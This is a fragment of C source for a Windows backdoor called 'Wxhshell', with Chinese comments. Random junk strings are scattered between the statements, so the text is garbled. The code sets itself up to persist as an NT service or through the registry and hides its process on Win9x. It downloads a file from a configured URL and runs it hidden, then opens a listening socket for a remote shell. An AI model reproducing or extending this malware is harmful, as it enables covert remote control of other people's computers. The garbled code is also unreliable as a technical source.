7 char procName[255]; &vGEz*F unsigned long cbNeeded; Y?q*hS0!H x<j($iv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 }(YMsUb 9fk\Ay1P CloseHandle(hProcess); knj,[7uh R _~m\P if(strstr(procName,"services")) return 1; // 以服务启动 YQw/[ LP-KD return 0; // 注册表启动 (*@~HF,t= } Yqj.z| }Nb
\1c`) // 主模块 [~&:`I1 int StartWxhshell(LPSTR lpCmdLine) _*-'yu8# { N*c?Er@8U SOCKET wsl; oBGst t@ BOOL val=TRUE; *~MiL9m+? int port=0; )y
[[Se struct sockaddr_in door; EKI+Dq, qhHRR/p if(wscfg.ws_autoins) Install(); hwb(W?* ^5iY/t~Q port=atoi(lpCmdLine); IDVY2`sM ;gw!;!T if(port<=0) port=wscfg.ws_port; c&iK+qvh{ 4FP~+ WSADATA data; AfbA.- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R2Fh^x 5d>YE if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3C5D~9v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sfBjA door.sin_family = AF_INET; + xu/RY_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); w[n>4?"{ door.sin_port = htons(port); DqC}f# `W;cft4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]idD&5gd closesocket(wsl); %W|Zj QI^ return 1; &?ed.V@E5 } [Z`:1_^0} 3qwYicq, if(listen(wsl,2) == INVALID_SOCKET) { @R Yb-d closesocket(wsl); pDnFT2 return 1; >ehWjL`8 } }sN9QgE Wxhshell(wsl); 0jx~_zq-j WSACleanup(); fgz'C? 5In8VE
!P return 0; GzE3B';g 113x9+w[ } , $F0D jH#^O;A // 以NT服务方式启动 N X#/1= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;ZW}47:BS6 { jgfP|oD DWORD status = 0; "rlSK >` DWORD specificError = 0xfffffff; H<}Fk9 X9BBnZ serviceStatus.dwServiceType = SERVICE_WIN32; JV*,!5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; lDM~Z3(/b serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hF%~iqd serviceStatus.dwWin32ExitCode = 0; B*~Bm. serviceStatus.dwServiceSpecificExitCode = 0; !-}*jm p< serviceStatus.dwCheckPoint = 0; UK9MWC5g9 serviceStatus.dwWaitHint = 0; 3'NL1d u 9;WOqBD hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xcpm?aTo if (hServiceStatusHandle==0) return; }(7QJk5 j 2\8\D^ status = GetLastError(); g(F*Y>hk if (status!=NO_ERROR) h],%va[ { ReGb.pf serviceStatus.dwCurrentState = SERVICE_STOPPED; /8-VC" serviceStatus.dwCheckPoint = 0; Ac(Vw% serviceStatus.dwWaitHint = 0; 4I[FE;^ serviceStatus.dwWin32ExitCode = status;
#YMp,i serviceStatus.dwServiceSpecificExitCode = specificError; <$Kv^Y * SetServiceStatus(hServiceStatusHandle, &serviceStatus); \EfwS%
P return; |@9I5Eg)iE } <("w'd} s7cyo
] serviceStatus.dwCurrentState = SERVICE_RUNNING; wN0OAbtX' serviceStatus.dwCheckPoint = 0; zNTu j p serviceStatus.dwWaitHint = 0; .L|ax).D if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (+v*u ]w4 } Y{:/vOj [";5s&)q // 处理NT服务事件,比如:启动、停止 T7_ SO,X VOID WINAPI NTServiceHandler(DWORD fdwControl) tcdn"]#U { uTloj. switch(fdwControl) gBS#Z. { aC6b})^ case SERVICE_CONTROL_STOP: YxqQg serviceStatus.dwWin32ExitCode = 0; 3tcsj0Rb serviceStatus.dwCurrentState = SERVICE_STOPPED; p5rRhu/|k3 serviceStatus.dwCheckPoint = 0; 4E(5Ccb serviceStatus.dwWaitHint = 0; \@t5S { "$V2 $ SetServiceStatus(hServiceStatusHandle, &serviceStatus); MOeLphY } hd
BC ^n return; e*Med)tc^$ case SERVICE_CONTROL_PAUSE: wef^o"aP serviceStatus.dwCurrentState = SERVICE_PAUSED; &>b1ES.> break; ?B!ZqJ# case SERVICE_CONTROL_CONTINUE: ~0{Kga serviceStatus.dwCurrentState = SERVICE_RUNNING; 32FGDM break; pNWp3+a' case SERVICE_CONTROL_INTERROGATE: @{a-IW3 break; _Cs}&Bic_ }; Oydmq,sVe( SetServiceStatus(hServiceStatusHandle, &serviceStatus); TmZ[?IL, } 6(^9D_"@ ,(=]6V // 标准应用程序主函数 aM}"DY-_
h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vj$6 { A)\DPLAG 0qUap*fvC // 获取操作系统版本 D8{HOv;d^ OsIsNt=GetOsVer(); vaZZzv{H GetModuleFileName(NULL,ExeFile,MAX_PATH); %$KO]
A>2p/iMc // 从命令行安装 JU.%;e7 if(strpbrk(lpCmdLine,"iI")) Install(); z$5C(! ) D*Q#G/TF3 // 下载执行文件 ~8{3Fc 0 if(wscfg.ws_downexe) { 'vIkA= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ay|{!MkQ WinExec(wscfg.ws_filenam,SW_HIDE); Y6PA\7Y\ } xJGeIh5 \8aF(Y^H if(!OsIsNt) { E-iBA (H // 如果时win9x,隐藏进程并且设置为注册表启动 x7@HPf HideProc(); zL}hFmh StartWxhshell(lpCmdLine); ~B\: } e!Okc*, else W-QPO if(StartFromService()) ^eRT8I // 以服务方式启动 AwrK82 StartServiceCtrlDispatcher(DispatchTable); iCKwd 9?) else f~9Y1|6 // 普通方式启动 $ 3B? StartWxhshell(lpCmdLine); BF!zfX?n +N@F,3yNa return 0; [0#hgGO]P }
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